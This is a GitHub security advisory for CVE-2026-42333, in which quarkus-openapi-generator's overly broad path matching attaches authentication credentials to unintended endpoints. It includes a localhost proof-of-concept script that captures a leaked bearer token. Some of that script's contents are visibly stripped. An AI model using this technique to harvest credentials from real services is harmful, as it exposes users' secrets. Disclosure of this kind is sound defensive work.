GitHub Advisoryadvisory · Maven
GHSA-fr8f-rwjx-f32v quarkus-openapi-generator has overly broad path-parameter matching that sends authentication headers to unintended operations
MEDIUM
Official page ↗
- Aliases
- CVE-2026-42333
- Ecosystem
- Maven
- Packages
- io.quarkiverse.openapi.generator:quarkus-openapi-generator
- Severity
- Moderate
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N
- Weaknesses
- CWE-200
- Reviewed
- 2026-05-04
Affected packages
• Maven io.quarkiverse.openapi.generator:quarkus-openapi-generator: < 2.16.0-lts → fixed in 2.16.0-lts
• Maven io.quarkiverse.openapi.generator:quarkus-openapi-generator: >= 2.16.0, < 2.17.0 → fixed in 2.17.0
Description
Summary
The generated authentication filter matches OpenAPI path templates too broadly when deciding whether to attach credentials. A security scheme configured for one operation can therefore be applied to a different same-method operation whose path only partially resembles the protected template, causing bearer tokens, API keys, or basic credentials to be sent to unintended endpoints.
Details
The runtime authentication layer selects credentials by comparing the outgoing request path and method against the set of protected OpenAPI operations. Path-template matching treats `{param}` placeholders as `.*`, which incorrectly allows a single path parameter to consume `/`.
As a result, a protected path such as `/repos/{ref}` also matches `/repos/foo/bar`, even though `/repos/{owner}/{repo}` is a different operation. When a client invokes the unprotected operation, the authentication filter still concludes that the protected operation matched and attaches its credentials.
This affects authentication providers that rely on the shared path-matching logic, including bearer, OAuth, API-key, and basic authentication. The issue is reachable through normal generated-client usage and does not require modifying generated code.
PoC
```bash
mkdir -p /tmp/qoag-poc/src/main/java/org/acme
mkdir -p /tmp/qoag-poc/src/main/resources
mkdir -p /tmp/qoag-poc/src/main/openapi
cat > /tmp/qoag-poc/pom.xml
4.0.0
org.acme
qoag-poc
1.0.0
UTF-8
17
io.quarkus
quarkus-bom
3.34.3
2.16.0
${quarkus.platform.group-id}
${quarkus.platform.artifact-id}
${quarkus.platform.version}
pom
import
io.quarkiverse.openapi.generator
quarkus-openapi-generator
${qoag.version}
io.quarkus
quarkus-rest
io.quarkus
quarkus-rest-client-jackson
io.quarkus
quarkus-maven-plugin
${quarkus.platform.version}
true
build
generate-code
generate-code-tests
maven-compiler-plugin
3.14.0
true
EOF
cat > /tmp/qoag-poc/src/main/openapi/repro.yaml /tmp/qoag-poc/src/main/resources/application.properties /tmp/qoag-poc/src/main/java/org/acme/TriggerResource.java <<'EOF'
package org.acme;
import jakarta.ws.rs.GET;
import jakarta.ws.rs.Path;
import jakarta.ws.rs.Produces;
import jakarta.ws.rs.core.MediaType;
import org.eclipse.microprofile.rest.client.inject.RestClient;
@Path("/trigger")
public class TriggerResource {
@RestClient
org.acme.repro.api.DefaultApi api;
@GET
@Produces(MediaType.TEXT_PLAIN)
public String trigger() {
api.getOwnerRepo("foo", "bar");
return "done";
}
}
EOF
python - <<'PY' &
from http.server import BaseHTTPRequestHandler, HTTPServer
class H(BaseHTTPRequestHandler):
def do_GET(self):
print("PATH=" + self.path, flush=True)
print("AUTH=" + str(self.headers.get("Authorization")), flush=True)
self.send_response(200)
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, fmt, *args):
pass
HTTPServer(("127.0.0.1", 18080), H).serve_forever()
PY
cd /tmp/qoag-poc
mvn -q package -DskipTests
java -jar target/quarkus-app/quarkus-run.jar &
sleep 8
curl -s http://127.0.0.1:8081/trigger
PATH=/repos/foo/bar
AUTH=Bearer SECRET
```
Impact
Clients generated from an OpenAPI specification can send authentication credentials to endpoints that were not intended to receive them. In practice, this can disclose bearer tokens, API keys, or basic credentials to lower-trust routes on the same service, cause public operations to be invoked with privileged credentials, and blur the intended security boundary between protected and unprotected operations.
Related
Alias · CVE (1)
- CVE-2026-42333 Quarkus OpenAPI Generator is Quarkus' extensions for generation of Rest Clients and server stubs generation. vulnerability
Weakness · CWE (1)
- CWE-200 Exposure of Sensitive Information to an Unauthorized Actor weakness
References
- https://github.com/quarkiverse/quarkus-openapi-generator/security/advisories/GHSA-fr8f-rwjx-f32v web
- https://nvd.nist.gov/vuln/detail/CVE-2026-42333 advisory
- https://github.com/quarkiverse/quarkus-openapi-generator/pull/1586 web
- https://github.com/quarkiverse/quarkus-openapi-generator package
- https://github.com/quarkiverse/quarkus-openapi-generator/releases/tag/2.11.1-lts web
- https://github.com/quarkiverse/quarkus-openapi-generator/releases/tag/2.16.0-lts web
- https://github.com/quarkiverse/quarkus-openapi-generator/releases/tag/2.17.0 web